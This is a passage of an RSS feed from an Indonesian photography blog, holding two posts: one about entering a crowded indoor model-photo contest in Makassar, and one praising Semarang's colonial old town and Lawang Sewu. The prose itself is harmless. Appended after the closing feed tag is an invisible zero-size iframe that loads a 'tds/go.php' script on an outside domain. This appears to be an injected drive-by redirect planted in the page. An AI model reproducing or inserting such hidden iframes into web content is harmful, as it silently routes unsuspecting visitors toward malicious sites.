			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1116" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/02/Memotret-Model.jpg"><img class="size-full wp-image-1116" title="Memotret Model" src="http://daenggassing.com/wp-content/uploads/2011/02/Memotret-Model.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Memotret Model</p></div>
<p>Minggu siang (13/2) saya masih santai di rumah ketika Andhie, teman sekantor menelepon.</p>
<p>&#8221; Pak, sudah saya daftar di lomba foto ya. Acaranya mulai jam 3 sore &#8221;</p>
<p>Hee..?? Lomba foto ?? Iya saya tahu sehari sebelumnya kalau dalam acara pameran properti di Mall Ratu Indah akan ada lomba foto tapi saya belum berniat untuk ikut. Rasanya skill saya masih jauh dari acara mumpuni sehingga untuk ikut acara lomba beramai-ramai rasanya masih belum masuk dalam jadwal.</p>
<p>Alasan kedua, ini adalah lomba memotret model. Indoor pulak. Saya belum secanggih itu. Memotret model belum pernah saya lakukan sebelumnya lagipula memotret indoor masih jauhlah. Saya masih belum paham betul mengatur cahaya dalam ruangan untuk menghasilkan foto yang bagus.</p>
<p>Tapi, ini adalah tantangan. Kapan bisa maju kalau tidak berani melangkah ?</p>
<p>Akhirnya jam 3 sore saya tiba di Mall Ratu Indah. Area sekitar panggung sudah penuh dengan para fotografer, beberapa di antaranya saya kenali sebagai fotografer top Makassar atau minimal mereka yang aktif di beberapa komunitas pecinta fotografi. Ada dari Performa, FN chapter Makassar, dan lain-lain.</p>
<p>Melihat peralatan mereka saya langsung jiper. Kamera profesional dengan lensa tele ada di genggaman beberapa dari mereka. Benar-benar menjatuhkan mental sekaligus bikin ngiler.</p>
<p>Jam 3 lewat, panitia naik ke panggung dan membacakan tata tertib lomba. Selanjutnya seorang model keluar dari balik panggung, panitia mempersilakan para peserta untuk memulai. Saya masih jauh dari panggung, masih belum percaya diri untuk memulai.</p>
<p>Dengan semangat para peserta mulai merangsek ke depan panggung, saking semangatnya mereka bahkan melewati batas yang ditentukan panitia. Batas yang ditandai dengan rantai plastik jadi sia-sia, para peserta dengan semena-mena merapat ke panggung mencari posisi yang tepat, beberapa bahkan ada yang sampai naik ke atas panggung.</p>
<p>Akhirnya saya juga ikut mendekat, sudahlah..soal hasil dilihat belakangan. Yang penting ikutan dulu.</p>
<p>Nah, akhirnya saya merasakan juga susahnya ikutan lomba foto ramai-ramai. Ruangan yang tidak terlalu luas yang tidak bisa menampung seluruh peserta ternyata potensial untuk menciptakan kesulitan-kesulitan tersendiri.</p>
<p>Susahnya mencari posisi yang pas karena harus berdesak-desakan plus beberapa kali menemukan angle yang pas tapi sebelum tombol shutter ditekan lensa tersentuh orang, atau tangan yang tersentuh sehingga hasilnya jadi blur. Yah, tantangannya memang ada di situ, dan terberkatilah mereka yang bisa membeli lensa tele karena tidak usah repot-repot berdesakan untuk bisa dapat hasil yang bagus.</p>
<p>Acara berlangsung sekitar satu jam dengan 3 sesi dan 2 model. Dari ratusan foto yang bisa abadikan, hanya ada beberapa yang menurutku lumayan. 3 di antaranya kemudian disetor ke panitia. Sebenarnya hampir saja saya batal menyetor ke panitia ketika melihat sepintas hasil foto peserta yang lain yang keren-keren. Tapi ah, sudahlah..saya setor saja dengan muka yang ditebal-tebalkan. Sama sekali tidak yakin bakal dapat apa-apa dari lomba ini. Kecuali pengalaman tentu saja.</p>
<p>Hasil foto saya seperti apa..? Silakan dicek. Kalau ada kritikan, silakan lho..</p>
<p><a href="http://daenggassing.com/wp-content/uploads/2011/02/DSC_0625-2.jpg"><img class="aligncenter size-full wp-image-1117" title="DSC_0625-2" src="http://daenggassing.com/wp-content/uploads/2011/02/DSC_0625-2.jpg" alt="" width="600" height="399" /></a></p>
<p><a href="http://daenggassing.com/wp-content/uploads/2011/02/DSC_0683-4.jpg"><img class="aligncenter size-full wp-image-1118" title="DSC_0683-4" src="http://daenggassing.com/wp-content/uploads/2011/02/DSC_0683-4.jpg" alt="" width="399" height="600" /></a></p>
<p><a href="http://daenggassing.com/wp-content/uploads/2011/02/DSC_0815-8.jpg"><img class="aligncenter size-full wp-image-1119" title="DSC_0815-8" src="http://daenggassing.com/wp-content/uploads/2011/02/DSC_0815-8.jpg" alt="" width="600" height="399" /></a></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/02/susahnya-memotret-model/" title="model amatiran">model amatiran</a> (9)</li><li><a href="http://daenggassing.com/2011/02/susahnya-memotret-model/" title="memotret model">memotret model</a> (4)</li><li><a href="http://daenggassing.com/2011/02/susahnya-memotret-model/" title="cara memotret model">cara memotret model</a> (1)</li><li><a href="http://daenggassing.com/2011/02/susahnya-memotret-model/" title="tips foto model indoor">tips foto model indoor</a> (1)</li><li><a href="http://daenggassing.com/2011/02/susahnya-memotret-model/" title="peralatan untuk fotografi model indoor">peralatan untuk fotografi model indoor</a> (1)</li></ul><div class="shr-publisher-1115"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F02%2Fsusahnya-memotret-model%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/02/susahnya-memotret-model/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Semarang yang Photogenic</title>
		<link>http://daenggassing.com/2011/02/semarang-yang-photogenic/</link>
		<comments>http://daenggassing.com/2011/02/semarang-yang-photogenic/#comments</comments>
		<pubDate>Tue, 01 Feb 2011 16:13:50 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Fotografi]]></category>
		<category><![CDATA[Jalan-Jalan]]></category>
		<category><![CDATA[Wisata]]></category>
		<category><![CDATA[kota lama]]></category>
		<category><![CDATA[lawang sewu]]></category>
		<category><![CDATA[Semarang]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1056</guid>
		<description><![CDATA[Semarang adalah kota kedua saya. Semarang adalah kota yang membuat saya bisa merasakan arti kata mudik. Sebelum saya mengenal Semarang, mudik hanyalah kata yang artinya : berkendaraan 7 km ke tempat nenek tinggal, sebuah rumah yang sebenarnya bisa saja saya datangi setiap hari. Semarang membuat saya bisa merasakan bagaimana susahnya memantau harga tiket hingga titik [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1057" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9908-11.jpg"><img class="size-full wp-image-1057" title="DSC_9908-11" src="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9908-11.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Lawang Sewu</p></div>
<p>Semarang adalah kota kedua saya. Semarang adalah kota yang membuat saya bisa merasakan arti kata mudik. Sebelum saya mengenal Semarang, mudik hanyalah kata yang artinya : berkendaraan 7 km ke tempat nenek tinggal, sebuah rumah yang sebenarnya bisa saja saya datangi setiap hari. Semarang membuat saya bisa merasakan bagaimana susahnya memantau harga tiket hingga titik yang bisa kami jangkau, bagaimana susahnya naik ke kapal laut, berdesakan dengan ratusan penumpang lainnya, hampir terlantar di pelabuhan dan tidur asal-asalan di atas bis.</p>
<p>Semarang membuat saya jatuh cinta pada bubur ayamnya, pada kulinernya yang nikmat dan murah. Semarang membuat saya jatuh cinta pada setiap sudut kotanya yang belum terlalu hiruk pikuk oleh kendaraan, membuat saya bisa menikmati setiap senti jalan rayanya yang masih memberi ruang pada pohon-pohon yang rindang dan meneduhkan.</p>
<p>Semarang membuat saya jatuh cinta karena banyaknya bangunan tua sisa kolonial yang dibiarkan berdiri, meski tidak semuanya terurus tapi tidak (setidaknya belum) tersentuh oleh kapitalisme yang berkedok pembangunan.</p>
<p>Deretan bangunan tua Semarang adalah candu. Setiap mengunjungi kota itu saya selalu menyempatkan diri berkunjung ke sana, menelusuri beragam jejak sejarah bangsa ini. Mencoba mencecap kisah sebuah kota yang dulu pernah menjadi bandar yang ramai oleh pendatang dari benua kuning maupun benua biru.</p>
<p>Semarang adalah kota yang photogenic. Bawa kamera anda ke sana dan temukan banyak sekali sudut kota yang sangat pantas untuk direkam.</p>
<p>Terakhir kali ke Semarang saya kembali menyempatkan diri untuk merekam sisa peninggalan kebesaran kota itu di kawasan kota lama dan Lawang Sewu. Ada nuansa tersendiri yang selalu bisa saya rasakan ketika berjalan di kedua tempat itu.</p>
<p>Saya iri pada kota tua itu yang masih menyimpan banyak sisa kenangan tentang perjalanan sejarahnya. Seandainya saja Makassar bisa mencoba bertahan pada nafsu kapitalisme, mungkin kita masih bisa menemukan jejak sejarah di kawasan Nusantara dan Sulawesi. Bukan bangunan baru tak beraturan dan semrawut.</p>
<p>Semarang yang photogenic membuat saya tak berhenti menekan shutter pada kamera. Dan inilah sedikit hasilnya.</p>
<div id="attachment_1058" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9377-2.jpg"><img class="size-full wp-image-1058" title="DSC_9377-2" src="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9377-2.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Kawasan kota lama</p></div>
<div id="attachment_1059" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9384-4.jpg"><img class="size-full wp-image-1059" title="DSC_9384-4" src="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9384-4.jpg" alt="Kota tua dan becak" width="600" height="399" /></a><p class="wp-caption-text">Kota Lama dan becak</p></div>
<p style="text-align: center;">
<div id="attachment_1060" class="wp-caption aligncenter" style="width: 409px"><a href="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9482-21.jpg"><img class="size-full wp-image-1060" title="DSC_9482-21" src="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9482-21.jpg" alt="" width="399" height="600" /></a><p class="wp-caption-text">Gereja Blendhuk</p></div>
<div id="attachment_1061" class="wp-caption aligncenter" style="width: 409px"><a href="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9488-24.jpg"><img class="size-full wp-image-1061" title="DSC_9488-24" src="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9488-24.jpg" alt="" width="399" height="600" /></a><p class="wp-caption-text">Menara Gereja Blendhuk</p></div>
<div id="attachment_1062" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9950-22.jpg"><img class="size-full wp-image-1062" title="DSC_9950-22" src="http://daenggassing.com/wp-content/uploads/2011/02/DSC_9950-22.jpg" alt="" width="600" height="399" /></a><p class="wp-caption-text">Lawang Sewu</p></div>
<p>Album lainnya bisa dilihat <a href="http://www.facebook.com/album.php?aid=277398&amp;id=520064816">di sini</a> dan <a href="http://www.facebook.com/album.php?aid=277383&amp;id=520064816">di sana</a></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/02/semarang-yang-photogenic/" title="becak semarang">becak semarang</a> (4)</li><li><a href="http://daenggassing.com/2011/02/semarang-yang-photogenic/" title="orang becak di kota surabaya">orang becak di kota surabaya</a> (2)</li><li><a href="http://daenggassing.com/2011/02/semarang-yang-photogenic/" title="berkunjung ke kota semarang">berkunjung ke kota semarang</a> (1)</li><li><a href="http://daenggassing.com/2011/02/semarang-yang-photogenic/" title="KOTA TUA BECAK">KOTA TUA BECAK</a> (1)</li><li><a href="http://daenggassing.com/2011/02/semarang-yang-photogenic/" title="permasalahan kota lama semarang">permasalahan kota lama semarang</a> (1)</li></ul><div class="shr-publisher-1056"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F02%2Fsemarang-yang-photogenic%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/02/semarang-yang-photogenic/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
